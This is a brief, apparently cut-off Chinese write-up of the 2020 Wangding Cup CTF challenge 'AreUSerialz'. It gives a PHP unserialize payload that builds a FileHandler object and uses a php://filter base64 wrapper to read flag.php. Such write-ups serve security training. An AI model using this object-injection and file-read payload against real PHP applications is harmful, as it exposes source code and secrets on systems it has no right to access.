[網鼎杯 2020 青龍組]AreUSerialz

flag.php讀不出來，加上php僞協議就好了php payload ?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:52:"php://filter/convert.base64-encode/resource=flag.php";s:7:"content";s:5:"popko";} 主要過程 <?php //include(

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